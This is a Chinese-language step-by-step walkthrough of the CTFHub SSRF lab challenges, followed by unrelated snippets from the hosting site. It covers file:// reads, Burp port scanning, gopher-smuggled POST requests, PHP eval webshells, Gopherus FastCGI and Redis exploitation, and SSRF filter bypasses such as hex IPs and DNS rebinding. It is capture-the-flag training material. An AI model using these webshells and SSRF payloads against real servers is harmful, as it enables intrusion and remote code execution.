CTFHUB靶场关于SSRF保姆级攻略

ops/2024/12/19 4:34:01/

一.内网访问

输入127.0.0.1/flag.php

二.伪协议读取文件

输入?url=file:///var/www/html/flag.php

右键页面查看源代码

三.端口扫描

尝试一下index.php,没有显示,说明有这个文件

上方题中提示我们端口在8000-9000中我们用burp suite抓包,开启代理

输入?url=127.0.0.1:8000/index.php

右键空白处,发送到intruder,选中端口8000,再点击添加payload

在进入到payload中,按照下图填选,选中。

我们看这个200响应码的,去访问就会得到答案

四.POST请求

我们输入?url=http://127.0.0.1/flag.php

再查看页面源代码,我们发现有一个钥匙

复制下来,去把它放到白色框中,抓它的包,把下方图片的框中的内容全部删掉

然后改成向下方图一样的字样

再将这些数据复制下来,去进行第一次url编码

地址:CTF在线工具-在线URL编码|URL解码

将编码后的内容复制下来去打开记事本,粘贴下来,点击替换

将%0a替换为%0d%0a

再在最末尾也加上%0d%0a

将他们复制下来,进行第二次url编码

将二次编码的结果复制下来去原网址访问

将上方%253A换成冒号

回车

我们就会得到flag了

五.上传文件

上方提示我们需要上传文件

所以我们输入?url=file:///var/www/html/flag.php

就会得到下方图片的内容

这个需要我们写一个一句话木马文件上传,但是没有提交按钮,我们来自己构造一个

右键选择检查,在下方框中添加<input type="submit" name="submit">再点击空白处

就会出现一个按钮

我们创建一个名为1.php的文件,里面

输入<?php @eval($_POST[cmd]); ?>

保存后带年纪浏览,选中这个木马文件,这个时候打开代理,准备抓包

下方就是我们抓到的数据包

与POST请求关卡相似,改成下方的模样

全部复制下来,进行第一次url编码

将结果复制,打开记事本,把%0a替换为%0d%0a,再把结尾加上%0d%0a

全部复制下来,再去进行第二次url编码

将结果复制下来,去访问,记得把%253A换成冒号,就得到flag了

六.FastCGI协议

这里有一个题目附录,在这关我们需要用到一款名为Gopherus工具,还需要用到python2的环境,我这里是在kali做的,工具大家自己去下载

在kali中,点进这个工具

在这里打开终端

输入python2 gopherus.py查看一下用法

了解之后,我们在

输入python2 gopherus.py --exploit fastcgi

在上方输入/var/www/html/index.php

这里我们上传一个一句话木马,利用base64编码一下

在输入echo "PD9waHAgQHN5c3RlbSgkX0dFVFsnYSddKTsgPz4=" | base64 -d > 666.php

将下方框中的内容复制下来

在进行一次url编码

出现上访的情况就说明写进去了

在输入666.php?a=ls%20../../../;

我们会看到一个flag_617c826d2c56425e32808f1b4afefafb的文件,cat一下,得到flag

七.Redis

这关与上一关相似

输入python2 gopherus.py --exploit redis

输入PHPshell

输入/var/www/html或者直接回车

输入<?php @eval($_POST[a]) ?>或者直接回车

进行url编码

将结果复制下来,去访问

这里我们直接点旁边的X,结束,在访问一下shell.php,看看我们的木马是否写进去了

这就说明我们的木马已经写进去了,这回我们用蚁剑连一下

我们来到根目录,向下翻,看见了一个flag_25a71a953929896cac24e78b3f84d6dd文件

点进去,就发现了flag

八.URL Bypass

这里给出了提示

输入?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

上方的@表示左边的当成用户,右边的是网址,而提示又说必须用http://notfound.ctfhub.com才能访问,所以我们用一个@就可以解决

九.数字IP Bypass

输入?url=127.0.0.1/flag.php

我们发现它ban掉了127,172,@

所以我们用16进制来代替127.0.0.1

输入?url=0x7F000001/flag.php

十.302跳转 Bypass

输入?url=http://0.0.0.0/flag.php

或者

输入

十一.DNS重绑定 Bypass

在B输入127.0.0.2

回车

将下方红框中的复制

访问?url=http://7f000001.7f000002.rbndr.us/flag.php得出flag

以上就是SSRF的全部通关攻略!!!


http://www.ppmy.cn/ops/143077.html

相关文章

Mysql笔记

windows安装记录Windows中Mysql安装-CSDN博客 用到的库 通过网盘分享的文件&#xff1a;atguigudb.sql 链接: https://pan.baidu.com/s/1YfC20c2vK9odn-XRJJwUJw 提取码: utk7 --来自百度网盘超级会员v5的分享 Mysql4中表关联关系 1.1对1,比较少用,因为完全可以一张表,当有…

pytest -s执行的路径

pytest -s执行的路径&#xff1a; 直接写pytest -s&#xff0c;表示从当前路径下开始执行全部.py的文件。 执行具体指定文件&#xff1a;pytest -s .\testXdist\test_dandu.py 下面这样执行pytest -s 会报找不到文件或没权限访问&#xff0c; 必须要加上具体文件路径pytest -s…

鸿蒙Next状态管理最佳实践

在鸿蒙Next应用开发中&#xff0c;合理的状态管理是确保应用性能和响应性的关键。以下是基于最佳实践的详细阐述&#xff0c;每个实践都包含反例分析和正例改进&#xff0c;并提供了相应的代码示例。 一、使用ObjectLink代替Prop减少不必要的深拷贝 &#xff08;一&#xff0…

jvm 常用命令

jmap -dump:formatb,file 将堆内存进行文件导出&#xff0c;但是jvm为了保留数据一致性&#xff0c;可能会卡顿&#xff0c;并且导出前会进行一次fullGC&#xff0c; 实验&#xff1a;6G的最大堆应用 导出30s左右 查看gc 日志 jstat -gc pid 查看堆存活对象 jmap -histo:…

MATLAB 数据/fig图 自动保存并自动 添加时间戳后后缀

文章目录 数据保存fig图保存 数据保存 示例代码如下 % 获取当前日期和时间 currentDateTime datetime(now, Format, yyyyMMdd); dateTimeStr datestr(currentDateTime); % 替换破折号和冒号为下划线 dateTimeStr strrep(dateTimeStr, {:}, _); dateTimeStr cell2mat(date…

【Java—>Spring】短暂停顿,开往Spring的火车

大家好,我是一名Java开发工程师,多年来一直致力于Java技术的学习和实践。在我的职业生涯中,通过阅读《Java编程思想》、《Core Java》等经典著作,我对Java编程的理论基础有了全面而深入的认识。同时,在无数个日日夜夜的编码实践中,我也积累了丰富的项目经验。 今天,Java语言的…

游戏引擎学习第50天

仓库: https://gitee.com/mrxiao_com/2d_game Minkowski 这个算法有点懵逼 回顾 基本上&#xff0c;现在我们所处的阶段是&#xff0c;回顾最初的代码&#xff0c;我们正在讨论我们希望在引擎中实现的所有功能。我们正在做的版本是初步的、粗略的版本&#xff0c;涵盖我们认…

相机帧率怎样提高到最高

1.曝光时间减小 2.打开 MVS 客户端&#xff0c;在 Acquisition Control 属性下关闭帧率控制使能&#xff1a; Acquisition Frame Rate Control Enable 3. 修改相机图像格式 在 MVS 客户端的 Image Format Control 属性下&#xff0c;找到 Pixel Format 参数进行更改 黑白相机…